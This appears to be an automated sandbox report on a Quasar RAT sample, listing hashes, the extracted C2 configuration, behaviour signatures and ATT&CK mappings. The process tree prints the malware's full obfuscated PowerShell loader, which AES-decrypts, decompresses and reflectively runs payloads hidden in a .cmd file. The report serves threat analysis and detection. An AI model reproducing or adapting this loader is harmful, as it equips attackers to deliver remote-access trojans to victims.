quasar | 113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d

General

Target

yde4cz.cmd
Size

1.6MB
MD5

846debdd4c489b9cdf58cf035011385b
SHA1

edd9486a627bc3f35772e2e79eb7a3aa021569cd
SHA256

113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d
SHA512

c46b02e2a54314bca1695e03196a7041aebe5bede3e857f62e0e634cc2c4ea9ed95d569a73c2b6c935afab5a961a0253ce40988e3c65d9ff33bbaa34a2376f51
SSDEEP

24576:RHSLwbi29FzHWBFGa+EWO41DglXFH9zW9jpWwhVBn2eWKT:/vDOGiWI2DtJ

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes

encryption_key
6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1520-17-0x00000112DE180000-0x00000112DE4A4000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	1520	powershell.exe
16	1520	powershell.exe
18	1520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1520	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1520	powershell.exe
1520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1520	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 1220	2060	cmd.exe	84
PID 2060 wrote to memory of 1220	2060	cmd.exe	84
PID 2060 wrote to memory of 1520	2060	cmd.exe	85
PID 2060 wrote to memory of 1520	2060	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\yde4cz.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QbyHvTiQtx89YnRta8IEyPqtyneJjEN3sJ2ZhbHVoLs='); $aes_var.IV=[System.Convert]::FromBase64String('OxX1X2lNZIgN15fz3vySVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$xCITj=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tIajX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FlQAx=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($xCITj, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FlQAx.CopyTo($tIajX); $FlQAx.Dispose(); $xCITj.Dispose(); $tIajX.Dispose(); $tIajX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$GhsFa=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$kwssa=$GhsFa.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwssa.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FFjjS = 'C:\Users\Admin\AppData\Local\Temp\yde4cz.cmd';$host.UI.RawUI.WindowTitle = $FFjjS;$kRRdo=[System.IO.File]::ReadAllText($FFjjS).Split([Environment]::NewLine);foreach ($smNgX in $kRRdo) { if ($smNgX.StartsWith('luZsHxYvUgyKYktkRiik')) { $gnoFR=$smNgX.Substring(20); break; }}$payloads_var=[string[]]$gnoFR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:1220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ag0arha5.kmu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1520-18-0x00007FFEB36D0000-0x00007FFEB4191000-memory.dmp

Filesize
10.8MB

Download
memory/1520-30-0x00007FFEB36D0000-0x00007FFEB4191000-memory.dmp

Filesize
10.8MB

Download
memory/1520-17-0x00000112DE180000-0x00000112DE4A4000-memory.dmp

Filesize
3.1MB

Download
memory/1520-12-0x00007FFEB36D0000-0x00007FFEB4191000-memory.dmp

Filesize
10.8MB

Download
memory/1520-13-0x00000112DDF00000-0x00000112DDF44000-memory.dmp

Filesize
272KB

Download
memory/1520-14-0x00000112DDFD0000-0x00000112DE046000-memory.dmp

Filesize
472KB

Download
memory/1520-15-0x00000112DDED0000-0x00000112DDEDC000-memory.dmp

Filesize
48KB

Download
memory/1520-16-0x00000112DE050000-0x00000112DE182000-memory.dmp

Filesize
1.2MB

Download
memory/1520-11-0x00007FFEB36D0000-0x00007FFEB4191000-memory.dmp

Filesize
10.8MB

Download
memory/1520-1-0x00000112DB980000-0x00000112DB9A2000-memory.dmp

Filesize
136KB

Download
memory/1520-20-0x00000112DEB80000-0x00000112DEC32000-memory.dmp

Filesize
712KB

Download
memory/1520-19-0x00000112DEA70000-0x00000112DEAC0000-memory.dmp

Filesize
320KB

Download
memory/1520-21-0x00000112DF150000-0x00000112DF312000-memory.dmp

Filesize
1.8MB

Download
memory/1520-24-0x00000112DEAC0000-0x00000112DEAD2000-memory.dmp

Filesize
72KB

Download
memory/1520-25-0x00000112DEB20000-0x00000112DEB5C000-memory.dmp

Filesize
240KB

Download
memory/1520-26-0x00007FFEB36D3000-0x00007FFEB36D5000-memory.dmp

Filesize
8KB

Download
memory/1520-27-0x00007FFEB36D0000-0x00007FFEB4191000-memory.dmp

Filesize
10.8MB

Download
memory/1520-28-0x00007FFEB36D0000-0x00007FFEB4191000-memory.dmp

Filesize
10.8MB

Download
memory/1520-0-0x00007FFEB36D3000-0x00007FFEB36D5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing